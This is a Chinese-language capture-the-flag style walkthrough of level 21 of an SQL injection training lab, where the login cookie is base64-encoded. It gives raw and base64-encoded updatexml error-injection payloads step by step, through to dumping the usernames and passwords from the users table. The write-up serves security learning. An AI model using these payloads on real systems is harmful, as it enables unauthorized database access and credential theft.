文章目录
- 前言
- 一、回顾上一关知识点
- 二、靶场需要了解的前置知识
- 1、什么是base64编码？
- 三、靶场第二十一关通关思路
- 1、判断注入点
- 2、爆数据库名
- 3、爆数据库表
- 4、爆数据库列
- 5、爆数据库关键信息
- 总结
前言
此文章只用于学习和反思巩固sql注入知识，禁止用于做非法攻击。注意靶场是可以练习的平台，不能随意去尚未授权的网站做渗透测试！！！
一、回顾上一关知识点
上一关是一个基于http头部中cookie的报错注入，这一关不同的是cookie被base64编码了。
二、靶场需要了解的前置知识
- 1、怎么判断是base64编码？
1、什么是base64编码？
Base64，就是包括小写字母a-z、大写字母A-Z、数字0-9、符号"+“、”/"一共64个字符的字符集，（任何符号都可以转换成这个字符集中的字符，这个转换过程就叫做base64编码。Base64由于以上优点被广泛应用于计算机的各个领域，然而由于输出内容中包括两个以上“符号类”字符（+,
/, =)，不同的应用场景又分别研制了Base64的各种“变种”。为统一和规范化Base64的输出，Base62x被视为无符号化的改进版本。
我们只要知道怎么判断是不是base64编码就行，字符串只可能包含A-Z，a-z，0-9，+，/，=字符，而且一般后面有等号，所以很好分别了。
三、靶场第二十一关通关思路
- 1、判断注入点
- 2、爆数据库名
- 3、爆数据库表
- 4、爆数据库列
- 5、爆数据库关键信息
1、判断注入点
这里我们有了前几关的思路，我们登录测试账号admin/admin
发现和上一关一样，有cookie回显，我们也是可以猜测是cookie与数据库交互然后输出到web界面了。但是发现cookie值有等于号，是典型的base64编码形式。(如图所示)
也就是说cookie值是被base编码后输出了，如果我们要拼接sql语句的话就得base64编码，和它保持一个格式。看源代码也是发现cookie被base64编码后再解码带入数据库中最后再编码输出到web页面，由于在解码带入数据库的过程中没有严格过滤导致有sql注入。也发现uname和passwd被转义了。(图1-3是base64编码解码，图四是uname和passwd被转义)
由于这里是先编码再解码与数据库交互，所以我们sql语句得自己编码。这里我们先到base64编码网站先把
YWRtaW4=
试着去解码发现是admin。这也是判断是不是base64编码的方法。
这里我们开始找注入点，构造payload。前是原始攻击语句，后是base64编码后的语句。
admin and 1=1
YWRtaW4gYW5kIDE9MQ==
admin and 1=2
YWRtaW4gYW5kIDE9Mg==
发现页面没有异常，排除数字型，这里再试一试单引号。发现报错
admin'
YWRtaW4n
报错信息为
Issue with your mysql: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ‘‘admin’’) LIMIT 0,1’ at line 1
通过报错信息可以知道是一个单引号加括号的闭合。
所以最终payload为
admin')#
YWRtaW4nKSM=
因为发现之会回显报错信息，不会回显我们要查询的内容，即不能用联合查询。这里用报错注入。
2、爆数据库名
注入语句为
admin') and updatexml(1,concat(0x3a,(select database()),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDNhKSwxKSM=
得到数据库名字
3、爆数据库表
注入语句为
admin') and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSBsaW1pdCAzLDEpLDB4M2EpLDEpIw==
得到关键数据库表名users
4、爆数据库列
注入语句为
admin') and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSJ1c2VycyIgbGltaXQgMSwxKSwweDNhKSwxKSM=
admin') and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSJ1c2VycyIgbGltaXQgMiwxKSwweDNhKSwxKSM=
得到关键数据库列username，password
5、爆数据库关键信息
注入语句为
admin') and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHVzZXJzIGxpbWl0IDAsMSksMHgzYSksMSkj
admin') and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCB1c2VybmFtZSBmcm9tIHVzZXJzIGxpbWl0IDAsMSksMHgzYSksMSkj
得到账号密码
总结
这一关利用base64编码进行绕过，因为其cookie值被带入数据库中没有严格过滤，只经过base64的编码解码。
